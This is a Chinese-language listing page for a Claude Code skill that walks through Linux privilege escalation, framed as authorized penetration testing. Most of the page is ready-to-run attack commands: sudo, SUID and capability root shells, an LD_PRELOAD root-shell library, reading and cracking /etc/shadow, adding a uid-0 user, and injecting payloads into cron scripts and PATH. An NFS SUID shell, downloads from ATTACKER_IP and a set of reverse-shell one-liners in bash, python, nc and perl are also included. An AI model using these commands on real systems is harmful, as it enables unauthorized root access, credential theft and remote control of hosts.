关于 Linux Privilege Escalation
Linux Privilege Escalation 是用于 Linux 权限提升评估的安全技能,面向获得授权的系统测试人员。它按步骤检查系统配置与常见提权路径,并强调范围控制、记录发现和修复建议。
主要功能
- 01枚举用户、进程和系统配置
- 02检查内核漏洞与 sudo 权限
- 03分析 SUID、能力及定时任务
- 04检查 PATH 劫持与 NFS 弱点
- 05记录发现并提出修复建议
适用场景
- 01对授权 Linux 主机开展提权评估
- 02排查 sudo 或 SUID 配置问题
- 03审查定时任务和文件权限风险
- 04整理安全测试发现与整改建议
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill linux-privilege-escalation安装后在 Claude Code 中输入/linux-privilege-escalation确认已加载。
详细介绍
Linux 权限提升
目的
在 Linux 系统上系统地开展权限提升评估,以发现并利用配置错误、易受攻击的服务和安全弱点,从低权限用户访问提升至 root 级别的控制权限。本技能支持全面枚举并利用内核漏洞、sudo 配置错误、SUID 二进制文件、cron 任务、Capabilities、PATH 劫持和 NFS 弱点。
输入 / 前提条件
所需访问权限
- 对目标 Linux 系统具有低权限 Shell 访问权限
- 能够执行命令(交互式或半交互式 Shell)
- 能够通过网络连接反向 Shell(如有需要)
- 用于托管 Payload 和接收 Shell 的攻击者机器
技术要求
- 了解 Linux 文件系统权限和所有权
- 熟悉常见 Linux 实用工具和脚本编写
- 了解内核版本及相关漏洞
- 具备基础编译知识(gcc),能够编译自定义 Exploit
推荐工具
- LinPEAS、LinEnum 或 Linux Smart Enumeration 脚本
- Linux Exploit Suggester(LES)
- 用于利用二进制文件的 GTFOBins 参考资料
- 用于破解密码的 John the Ripper 或 Hashcat
- 用于反向 Shell 的 Netcat 或类似工具
输出 / 交付物
主要输出
- 获取目标系统的 root Shell
- 权限提升路径文档
- 系统枚举结果报告
- 修复建议
证据材料
- 成功提升权限的截图
- 展示 root 访问权限的命令输出日志
- 已识别的漏洞详情
- 被利用的配置文件
核心工作流
阶段 1:系统枚举
基本系统信息
收集系统基础信息,用于漏洞研究:
# Hostname and system role
hostname
# Kernel version and architecture
uname -a
# Detailed kernel information
cat /proc/version
# Operating system details
cat /etc/issue
cat /etc/*-release
# Architecture
arch
用户和权限枚举
# Current user context
whoami
id
# Users with login shells
cat /etc/passwd | grep -v nologin | grep -v false
# Users with home directories
cat /etc/passwd | grep home
# Group memberships
groups
# Other logged-in users
w
who
网络信息
# Network interfaces
ifconfig
ip addr
# Routing table
ip route
# Active connections
netstat -antup
ss -tulpn
# Listening services
netstat -l
进程和服务枚举
# All running processes
ps aux
ps -ef
# Process tree view
ps axjf
# Services running as root
ps aux | grep root
环境变量
# Full environment
env
# PATH variable (for hijacking)
echo $PATH
阶段 2:自动化枚举
运行自动化脚本,进行全面枚举:
# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# LinEnum
./LinEnum.sh -t
# Linux Smart Enumeration
./lse.sh -l 1
# Linux Exploit Suggester
./les.sh
将脚本传输到目标系统:
# On attacker machine
python3 -m http.server 8000
# On target machine
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
阶段 3:内核 Exploit
确定内核版本
uname -r
cat /proc/version
搜索 Exploit
# Use Linux Exploit Suggester
./linux-exploit-suggester.sh
# Manual search on exploit-db
searchsploit linux kernel [version]
常见内核 Exploit
| 内核版本 | Exploit | CVE |
|---|---|---|
| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |
| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |
| 5.8+ | Dirty Pipe | CVE-2022-0847 |
编译并执行
# Transfer exploit source
wget http://ATTACKER_IP/exploit.c
# Compile on target
gcc exploit.c -o exploit
# Execute
./exploit
阶段 4:利用 Sudo
枚举 Sudo 权限
sudo -l
利用 GTFOBins Sudo
参考 https://gtfobins.github.io 中的利用命令:
# Example: vim with sudo
sudo vim -c ':!/bin/bash'
# Example: find with sudo
sudo find . -exec /bin/sh \; -quit
# Example: awk with sudo
sudo awk 'BEGIN {system("/bin/bash")}'
# Example: python with sudo
sudo python -c 'import os; os.system("/bin/bash")'
# Example: less with sudo
sudo less /etc/passwd
!/bin/bash
利用 LD_PRELOAD
当 env_keep 包含 LD_PRELOAD 时:
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
# Compile shared library
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
# Execute with sudo
sudo LD_PRELOAD=/tmp/shell.so find
阶段 5:利用 SUID 二进制文件
查找 SUID 二进制文件
find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
利用 SUID 二进制文件
参考 GTFOBins 获取 SUID 利用方法:
# Example: base64 for file reading
LFILE=/etc/shadow
base64 "$LFILE" | base64 -d
# Example: cp for file writing
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p
# Example: find with SUID
find . -exec /bin/sh -p \; -quit
通过 SUID 破解密码
# Read shadow file (if base64 has SUID)
base64 /etc/shadow | base64 -d > shadow.txt
base64 /etc/passwd | base64 -d > passwd.txt
# On attacker machine
unshadow passwd.txt shadow.txt > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
将用户添加到 passwd(如果 nano/vim 具有 SUID)
# Generate password hash
openssl passwd -1 -salt new newpassword
# Add to /etc/passwd (using SUID editor)
newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
阶段 6:利用 Capabilities
枚举 Capabilities
getcap -r / 2>/dev/null
利用 Capabilities
# Example: python with cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Example: vim with cap_setuid
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'
# Example: perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
阶段 7:利用 Cron 任务
枚举 Cron 任务
# System crontab
cat /etc/crontab
# User crontabs
ls -la /var/spool/cron/crontabs/
# Cron directories
ls -la /etc/cron.*
# Systemd timers
systemctl list-timers
利用可写的 Cron 脚本
# Identify writable cron script from /etc/crontab
ls -la /opt/backup.sh # Check permissions
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
# If cron references non-existent script in writable PATH
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
chmod +x /home/user/antivirus.sh
阶段 8:PATH 劫持
# Find SUID binary calling external command
strings /usr/local/bin/suid-binary
# Shows: system("service apache2 start")
# Hijack by creating malicious binary in writable PATH
export PATH=/tmp:$PATH
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
chmod +x /tmp/service
/usr/local/bin/suid-binary # Execute SUID binary
阶段 9:利用 NFS
# On target - look for no_root_squash option
cat /etc/exports
# On attacker - mount share and create SUID binary
showmount -e TARGET_IP
mount -o rw TARGET_IP:/share /tmp/nfs
# Create and compile SUID shell
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell
# On target - execute
/share/shell
快速参考
枚举命令摘要
| 用途 | 命令 |
|---|---|
| 内核版本 | uname -a |
| 当前用户 | id |
| Sudo 权限 | sudo -l |
| SUID 文件 | find / -perm -u=s -type f 2>/dev/null |
| Capabilities | getcap -r / 2>/dev/null |
| Cron 任务 | cat /etc/crontab |
| 可写目录 | find / -writable -type d 2>/dev/null |
| NFS 导出 | cat /etc/exports |
反向 Shell 单行命令
# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
# Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Netcat
nc -e /bin/bash ATTACKER_IP 4444
# Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
关键资源
- GTFOBins:https://gtfobins.github.io
- LinPEAS:https://github.com/carlospolop/PEASS-ng
- Linux Exploit Suggester:https://github.com/mzet-/linux-exploit-suggester
约束与防护措施
操作边界
- 在生产环境中使用前,先在测试环境中验证内核漏洞利用
- 内核漏洞利用失败可能导致系统崩溃
- 记录提权过程中所做的所有更改
- 仅在获得授权的情况下维持持久访问
技术限制
- 现代内核可能启用了漏洞利用缓解措施(ASLR、SMEP、SMAP)
- AppArmor/SELinux 可能会限制漏洞利用技术
- 容器环境会限制内核级漏洞利用
- 加固的系统可能配置了受限的 sudo
法律与道德要求
- 测试前必须获得书面授权
- 不得超出已定义的范围
- 立即报告严重发现
- 不得访问超出范围要求的数据
示例
示例 1:通过 find 从 sudo 提权至 root
场景:用户对 find 命令具有 sudo 权限
$ sudo -l
User user may run the following commands:
(root) NOPASSWD: /usr/bin/find
$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
示例 2:利用 SUID base64 访问 Shadow
场景:base64 二进制文件设置了 SUID 位
$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64
$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::
# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt
示例 3:劫持 Cron 任务脚本
场景:Root 的 cron 任务会执行可写脚本
$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh
$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh
# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)
故障排除
| 问题 | 解决方案 |
|---|---|
| 漏洞利用程序编译失败 | 检查是否有 gcc:which gcc;在攻击者机器上针对相同架构编译;使用 gcc -static |
| 反向 shell 无法连接 | 检查防火墙;尝试端口 443/80;使用分阶段载荷;检查出站流量过滤 |
| SUID 二进制文件无法利用 | 确认版本与 GTFOBins 匹配;检查 AppArmor/SELinux;某些二进制文件会降权 |
| Cron 任务未执行 | 确认 cron 正在运行:service cron status;检查 +x 权限;确认 crontab 中的 PATH |
评论
支持 Markdown